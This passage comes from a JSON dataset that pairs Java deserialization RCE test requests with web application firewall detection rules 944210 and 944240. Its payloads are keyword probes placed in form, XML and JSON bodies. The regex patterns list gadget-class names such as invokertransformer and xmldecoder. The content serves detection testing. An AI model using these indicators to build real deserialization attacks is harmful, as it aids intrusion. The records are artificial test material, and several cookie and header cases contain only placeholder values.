application/json\n\n{\"Cs7QAF\": \"test\"}\n-----------------------------thisissparta--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:rO0ABQ|KztAAU|Cs7QAF)", "negated": false } }, "transformations": [], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944210", "test_description": "Content-Type multipart/form-data json arg value includes keyword Cs7QAF" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "-----------------------------thisissparta\nContent-Disposition: form-data; name=\"payload\"\nContent-Type: application/xml\n\n<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">Cs7QAF</element></xml>\n-----------------------------thisissparta--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:rO0ABQ|KztAAU|Cs7QAF)", "negated": false } }, "transformations": [], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944210", "test_description": "Content-Type multipart/form-data XML element value includes keyword Cs7QAF" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "-----------------------------thisissparta\nContent-Disposition: form-data; name=\"payload\"\nContent-Type: application/xml\n\n<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">Cs7QAF</element></xml>\n-----------------------------thisissparta--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:rO0ABQ|KztAAU|Cs7QAF)", "negated": false } }, "transformations": [], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944210", "test_description": "Content-Type multipart/form-data XML element value includes keyword Cs7QAF" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=runtime.clonetransformer" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Argument test includes keyword runtime.clonetransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "runtime.clonetransformer=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Argument name includes keyword runtime.clonetransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Cookie test includes keyword runtime.clonetransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Cookie name includes keyword runtime.clonetransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Request header test includes keyword runtime.clonetransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"runtime.clonetransformer\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "XML attribute value includes keyword runtime.clonetransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">runtime.clonetransformer</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "XML element value includes keyword runtime.clonetransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">runtime.clonetransformer</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Nested XML element value includes keyword runtime.clonetransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=runtime.clonetransformer" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Content-Type text/plain includes keyword runtime.clonetransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"runtime.clonetransformer\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Content-Type application/json arg value includes keyword runtime.clonetransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"runtime.clonetransformer\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Content-Type application/json arg name includes keyword runtime.clonetransformer" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=runtime.forclosure" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Argument test includes keyword runtime.forclosure" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "runtime.forclosure=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Argument name includes keyword runtime.forclosure" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Cookie test includes keyword runtime.forclosure" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Cookie name includes keyword runtime.forclosure" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Request header test includes keyword runtime.forclosure" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"runtime.forclosure\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "XML attribute value includes keyword runtime.forclosure" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">runtime.forclosure</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "XML element value includes keyword runtime.forclosure" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">runtime.forclosure</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Nested XML element value includes keyword runtime.forclosure" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=runtime.forclosure" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Content-Type text/plain includes keyword runtime.forclosure" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"runtime.forclosure\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Content-Type application/json arg value includes keyword runtime.forclosure" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"runtime.forclosure\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Content-Type application/json arg name includes keyword runtime.forclosure" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=runtime.instantiatefactory" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Argument test includes keyword runtime.instantiatefactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "runtime.instantiatefactory=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Argument name includes keyword runtime.instantiatefactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Cookie test includes keyword runtime.instantiatefactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:clonetransformer|forclosure|instantiatefactory|instantiatetransformer|invokertransformer|prototypeclonefactory|prototypeserializationfactory|whileclosure|getproperty|filewriter|xmldecoder)", "negated": false } }, "transformations": [ "none", "lowercase" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944240", "test_description": "Cookie name includes keyword runtime.instantiatefactory" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ 